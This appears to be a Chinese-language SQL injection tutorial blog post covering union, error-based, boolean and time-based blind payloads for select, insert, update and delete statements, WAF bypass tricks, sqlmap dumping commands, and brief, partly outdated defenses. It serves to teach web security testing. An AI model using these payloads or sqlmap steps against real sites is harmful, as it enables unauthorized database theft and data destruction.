什么是SQL注入
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
SQL注入原理:对用户输入过滤不严谨
SQL注入本质:违背了数据与代码分离
的原则
SQL注入漏洞有两个关键条件
- 用户能控制输入的内容
- web应用把用户输入的内容带入到数据库去执行
只要满足以上两个条件,都有可能存在注入漏洞,所以,有注入的漏洞不仅仅是id=1
这种
不仅仅只是select语句有注入漏洞,也要学会对update,delete,insert语句进行注入攻击
SQL注入常见流程
- 判断是否有注入
- 获取数据库信息
- 获取数据库基本信息如:user()、database()、version()、@@basedir、@@datadir、@@tmpdir
- 获取数据库名
- 获取表名
- 获取列名
- 获取字段
- 获取用户数据
- 破解数据
- 找后台
- 脱裤
- 跑路
- 请喝茶
注意:找到注入点能跑出个版本号就可以了,再往下就过分了
SQL注入常用函数
group_concat() |
报错注入
floor() |
SQL注入分类
0x00 SQL注入之注入点类型判断
以下均假定注入类型为单引号注入'
根据SQL注入的反馈类型
大致可分为显注和盲注
基于错误显示的SQL注入
即报错注入,用一些特殊的报错函数去构造语句,从而达到爆数据的目的
详情:十种MySQL报错注入
union类型的联合查询注入
在mysql中,有information_schema这个数据库,union注入依赖这个数据库进行,在这个数据库中,存放的是所有数据库的信息,并且是公开的,任何用户都可以访问
这是一张数据表:
union注入的一般步骤如下所示:
order by
原意是根据字段进行排序,在注入中,可通过它来猜总共有几个字段
' order by 6 # -> 正常 |
注意:在数据库中,使用的是
#
,但是在url中必须把#
编码成%23
在mysql交互环境中,必须以
;
结尾,但实际注入中并不需要
可以看到当输入的字段数大于实际值时,会报错,这里可确定有六个字段
union select
order by猜出字段数后,我们需要用联合查询显示出我们想要的东西,先来看看union select的用法:
可以看到输入的1,2,3,4,5,6都显示出来了,说明这是可控的,再来看:
通过输入version()等函数,可直接爆出版本等信息,上面的几种函数都可以使用,但是有一个问题,开发人员在写PHP连接mysql时,使用mysql_fetch_assoc()
等类似函数,这种函数会从结果集中取出一行作为结果返回,所以虽然在数据库中能看到这个数据,但是在注入时是看不到的,这个时候就需要把前面的查询语句报错,后面的语句才能被显示,如下所示:
构造语句使前面报错:
id =-1' union select 1,2,3,4,5,6 %23 |
向下面这样,不报错
这样就报错了,可以看到2,3,4这三个字段被回显出来,之后就可以更改这三个字段为mysql函数进行注入
之后就简单了,在这里罗列下注入语句
查看所有库名 |
布尔类型的SQL注入
页面有变化,但是不给出具体报错信息,即为bool盲注
在测注入点类型时,即可看出是否为bool盲注:
加单引号
bool盲注也简单
一般步骤是这样的,比如说要看版本号
先测长度:
id=1' and length(version())>10 %23 |
如果版本号大于10,则回显与id=1
的回显相同,如果版本号不大于10,则回显与id=1
不同,依据这个,使用二分法一点一点猜就可以了
再测每个字符:
id=1' and ascii(substr(version(),1,1))>100 %23 |
这段代码的意思是判断版本号的第一个字符的ascii值是否大于100
比如查第3个数据库的库长:
id=1' and (select length(schema_name) from information_schema.schemata limit 2,1)>10 %23 |
查第3个数据库名的第5个字符:
id=1' and (select ascii(substr(schema_name,5,1)) from information_schema.schemata limit 2,1)>100 %23 |
布尔注入比较麻烦,在实际过程中,如果检测到有bool盲注,使用SQLMAP跑就可以了。或者等到自己学会写脚本也可以自己写脚本来跑数据
延时注入
所谓延时注入,就是根据服务器响应时间来判断是否存在注入
当测注入点时发现不管怎么测页面都没反应,那就可以在测试语句中加入sleep(n)函数测试,比如sqli-labs第9关
测版本长度:
id=1' and if(length(version())>10,sleep(5),0) %23 |
如果版本长度大于10页面就会响应5s以上
注入语句
测版本第一个字符:
id=1' and if(ascii(mid(version(),1,1))>100,sleep(5),0)%23 |
测第3个数据库长度:
id=1' and if((select length(schema_name) from information_schema.schemata limit 0,1)>5,sleep(5),0)%23 |
测第5个数据库的第12个字符:
id=1' and if((select ascii(substr(schema_name,12,1)) from information_schema.schemata)>79,sleep(5),0) |
基本步骤就这样,多练,就会了,这里有两个点需要注意:
-
在select语句中,请使用and不要使用or,使用or前提是把前面参数弄一个不存在的,其次mysql后匹配所有的结果然后进行sleep(5),所以时间会很长,亲身示范给你们:
-
在if语句中,第三个参数是可以随便写的,但是建议写
0
,因为0
可以代表bool假,如果条件判断不正确,就会返回第三个参数,即0
,可以避免很多情况,尤其是在后面的增删改语句中尤为明显
根据SQL语句的类型
select
select用于从数据库中选取数据
insert
insert into messages (title,message,......) values ('hello','123',......); |
对insert语句注入非常简单,只需根据语句特点进行构造出一个正常的语句即可
比如上面的语句,对message
字段进行注入攻击,可以这样构造:
insert into messages (title,message,time,content,author) values |
在上述语句中,你的payload是长这样的:
msg',1,1,1)# |
在实际环境中,我们并不知道有多少个字段,所以就需要一个一个的尝试,只要我们注入攻击的这个字段不在最后一个,就可以完成注入
在后续注入中,只需把1
转换为要注入的语句即可
update
update语句一般都是延时注入,不过其他注入也有可能出现,延时注入可以保证语句不被执行
有个特别需要注意的地方:
不要使用' #
或" #
来执行SQL语句,因为这样会造成所有记录全被执行更新操作,想象一下如果是修改密码时有这个注入,直接全站所有密码被改
还有就是update语句一般是在where字句之前,所以构造的注入语句中需要带上where子句
update语句长这样:
update users set pass = '123456' where name = 'user'; |
这样测试:
1. 123' |
sleep()函数返回结果为0,所以条件永假,不会执行update操作
但是这样有一个弊端,当where返回false后,mysql回去检索每一个语句,从而执行时间就是记录数*sleep时间
所以语句可以这样改进一下:
123' where id = 100 and sleep(2)# |
增加一个限制条件
但是又有一个问题,就是前提条件是此网站有id
这个字段,并且你能猜到值,如果实在猜不到,那就使用上面的语句直接sleep吧,记得把sleep时间改小点。benchmark函数好像不会和前面的列数相乘,但是会消耗网站所在服务器资源,不太好,也很危险,慎用
如果存在注入,那就把sleep()替换成注入语句执行就可以了
注入语句长这样:
123' where id=7100 and if(length(version())>5,sleep(3),0)# |
delete
这个语句和update一样,都是高危语句,在进行注入的时候,一定要在本地测试好语句,没问题了再进行注入
delete语句同样也需要注意几个点
- 不要使用
' #
或" #
来执行SQL语句 - if语句的返回结果一定要为0,也就是说if的第2,3个参数的结果一定要为0,如果不为0导致语句被执行,误删了机密文件,那你倒是能获得一杯普洱茶
delete from users where id = '57' and title = 'qwerdf'; |
这两个点都有可能是让用户操作的点,假设让我们输入title,那么测试顺序:
qwer' |
如果不想真的删除一条数据,就可以使用时间延时盲注,注意if语句返回结果一定要都是0
qwer' and if(length(version())>5,sleep(3),0) # |
如果数据足够多,就用布尔盲注,这样比较快
qwer' and length(version())>5 # |
根据业务类型点进行分类
登录
首先,登录一般在成功后都会跳转,所以最好的注入方式就是延时注入
并且密码基本上都是经过加密的,所以能注入的地方也就只有用户名的地方
登录处的处理方式目前我知道的有两种:
-
select直接查询用户名和密码
select * from users where user='tom' and pass='hello';
但是有一个问题,如果用户名不存在,语句直接为假,就不执行后面的语句了,所以在进行测试之前,可以先注册一个,然后拿注册的用户去测试就不用考虑这个问题了
- select只查询用户名,然后拿用户输入的密码和数据库中该用户的密码作比对
两种逻辑在注入时没区别,只不过第二种万能密码绕不过去
注入语句:
tom' and sleep(3) |
就尝试以下看能不能睡就可以了
注册
注册功能通过select
+insert
语句完成操作
先查询输入的用户名是否存在,如果不存在则创建此用户
像上图中可以这样绕过
user',version())# |
但是因为只有两个字段,version()被保存在了密码字段中,所以没什么用
上图逻辑可以这样注入:
admin' and sleep(5)# |
首先要保证前面的用户存在,直接对select语句进行注入
留言
像上图中可以这样绕过
在留言内容处写语句
1',1,1)# |
留言板中能够填写的只有标题和内容两个字段,在我们提交留言时,系统会自动添加上作者,时间字段,所以只要绕过这两个字段就可以进行注入了
删除留言
上图的绕过可以这样写
and if(length(version())>5,sleep(3),0) #' |
图片上传
一般图片上传的地方都只是对文件上传漏洞进行了限制,可能限制了文件格式,或者文件内容,但是开发者有时不会想到图片上传的位置有时也可以用来进行注入,把文件的名字修改成SQL语句,在把图片名字存入到数据库中时就会执行SQL语句
根据数据库类型不同的分类
mysql数据库注入
access数据库注入
mssql数据库注入
Oracle数据库注入
其他
宽字节注入
前提:数据库编码格式为’gbk’/‘gb2312’等
这种漏洞多存在与Windows系统中
%80-%df,只能通过工具注入,因为直接输入%会被编码
utf8 没有宽字节注入 ,因为没有5c结尾的编码 %5c->/
二次解码注入
漏洞成因:addslashes()函数在urlencode函数之前使用
黑盒测试是测试不出来的,一般是进行白盒测试代码审计时才会找到这个注入点,要是遇到开源的就去Github上找找源码审计一下。
SQL注入之waf绕过
想要绕waf就要先知道waf是什么
什么是waf
web应用防护系统,也称网站应用级入侵防御系统。英文叫做Web Application Firewall,简称叫waf。主要是对web特有的入侵方式加强防护,如DDOS防护,SQL注入、XML注入、XSS等
waf也有很多的种类:代码waf、软件waf、硬件waf、云waf等等
了解了什么是waf,那应该怎么绕过呢?
SQL注入绕waf常用方式
1、大小写混合 uNIoN sELecT 1,2,3,4
2、替换关键字 selselsectect 1,2,3,4
3、使用编码 %55nion%53elect 1,2,3,4
4、使用注释 union /**/select 1,2,3,4
5、等价函数与命令 @@datadir ==> datadir()
6、特殊符号 select+id+from users
工具的使用
SQLMAP
以下命令是在windows环境中使用sqlmap,在kali中的使用和windows中差不多
首先要去Github中下载一个sqlmap,解压出来后在sqlmap的文件夹下打开cmd窗口
对了,还要有Python环境哦,还要是Python2的环境
打开sqlmap:python sqlmap.py
扫描网站:python sqlmap.py –url http://192.168.11.86/index.php?id=1
-v参数,7个等级0-6
0、只显示Python错误以及严重的信息
1、同时显示基本信息和警告信息
2、同时显示debug信息
3、同时显示注入的payload
4、同时显示HTTP请求
5、同时显示HTTP响应头
6、同时显示HTTP响应页面
常规步骤
判断是否有注入
sqlmap -u http://192.168.11.86/index.php?id=1
查看数据库
sqlmap -u http://192.168.11.86/index.php?id=1 –dbs
查看当前使用的数据库
sqlmap -u http://192.168.11.86/index.php?id=1 –current-db
查看数据表
sqlmap -u http://192.168.11.86/index.php?id=1 -D 数据库名 –tables
查看列名
sqlmap -u http://192.168.11.86/index.php?id=1 -D 数据库名 -T 表名 –columns
查看数据
sqlmap -u http://192.168.11.86/index.php?id=1 -D 数据库名 -T 表名 –dump
常规的操作就是这些,以后会单独写一篇关于sqlmap使用的博客
防御SQL注入
1、GPC/RUNTIME魔术引导
通常数据污染有两种方式:一种是应用被动接受参数,像GET、POST等。一种是主动获取参数类似读取远程页面或者文件等,所以防SQL注入的方法就是守住这两条路
magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤
magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤
2、过滤函数和类
在通常的工作场景中,用的多的还是过滤函数和类。不过单纯的过滤函数还是不够严谨,也会出现绕过的情况。这时候可以使用预编译语句来绑定变量
常用过滤函数:
addslashes函数
mysql[real]escape_string函数
intval等字符转换
来源:freebuf.com 2020-07-24 09:34:45 by: hahali
请登录后发表评论
注册